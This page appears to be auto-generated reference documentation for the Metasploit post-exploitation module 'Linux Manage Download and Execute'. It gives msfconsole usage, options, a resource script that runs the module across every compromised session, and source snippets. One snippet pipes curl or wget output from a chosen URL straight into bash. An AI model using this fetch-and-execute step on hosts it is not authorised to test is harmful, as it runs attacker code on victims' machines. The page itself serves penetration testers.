Linux Manage Download and Execute - Metasploit


This page contains detailed information about how to use the post/linux/manage/download_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Linux Manage Download and Execute
Module: post/linux/manage/download_exec
Source code: modules/post/linux/manage/download_exec.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module downloads and runs a file with bash. It first tries to uses curl as its HTTP client and then wget if it's not found. Bash found in the PATH is used to execute the file.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/manage/download_exec

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/manage/download_exec
msf post(download_exec) > show options
    ... show and set options ...
msf post(download_exec) > set SESSION session-id
msf post(download_exec) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/manage/download_exec")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • URL: Full URL of file to download.

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Msfconsole Usage

Here is how the linux/manage/download_exec post exploitation module looks in the msfconsole:

msf6 > use post/linux/manage/download_exec

msf6 post(linux/manage/download_exec) > show info

       Name: Linux Manage Download and Execute
     Module: post/linux/manage/download_exec
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Joshua D. Abraham <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  URL                       yes       Full URL of file to download.

Description:
  This module downloads and runs a file with bash. It first tries to 
  uses curl as its HTTP client and then wget if it's not found. Bash 
  found in the PATH is used to execute the file.

Module Options

This is a complete list of options available in the linux/manage/download_exec post exploitation module:

msf6 post(linux/manage/download_exec) > show options

Module options (post/linux/manage/download_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   URL                       yes       Full URL of file to download.

Advanced Options

Here is a complete list of advanced options supported by the linux/manage/download_exec post exploitation module:

msf6 post(linux/manage/download_exec) > show advanced

Module advanced options (post/linux/manage/download_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/manage/download_exec module can do:

msf6 post(linux/manage/download_exec) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/manage/download_exec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/manage/download_exec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No local $PATH set!

Here is a relevant code snippet related to the "No local $PATH set!" error message:

42:	  def exists_exe?(exe)
43:	    vprint_status "Searching for #{exe} in the current $PATH..."
44:	    path = get_env("PATH")
45:	    if path.nil? or path.empty?
46:	      return false
47:	      vprint_error "No local $PATH set!"
48:	    else
49:	      vprint_status "$PATH is #{path.strip!}"
50:	    end
51:	
52:	    path.split(":").each{ |p|

neither curl nor wget available in the $PATH, aborting...

Here is a relevant code snippet related to the "neither curl nor wget available in the $PATH, aborting..." error message:

96:	
97:	  def run
98:	    search_http_client
99:	
100:	    if not @http_client
101:	      print_warning("neither curl nor wget available in the $PATH, aborting...")
102:	      return
103:	    end
104:	
105:	    search_shell
106:

neither bash nor sh available in the $PATH, aborting...

Here is a relevant code snippet related to the "neither bash nor sh available in the $PATH, aborting..." error message:

103:	    end
104:	
105:	    search_shell
106:	
107:	    if not @shell
108:	      print_warning("neither bash nor sh available in the $PATH, aborting...")
109:	      return
110:	    end
111:	
112:	    if datastore['URL'].match(%r{^https://})
113:	      cmd_exec_vprint("#{@http_client} #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | #{@shell}")

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See Also

Check also the following modules related to this module:

Authors

  • Joshua D. Abraham <jabra[at]praetorian.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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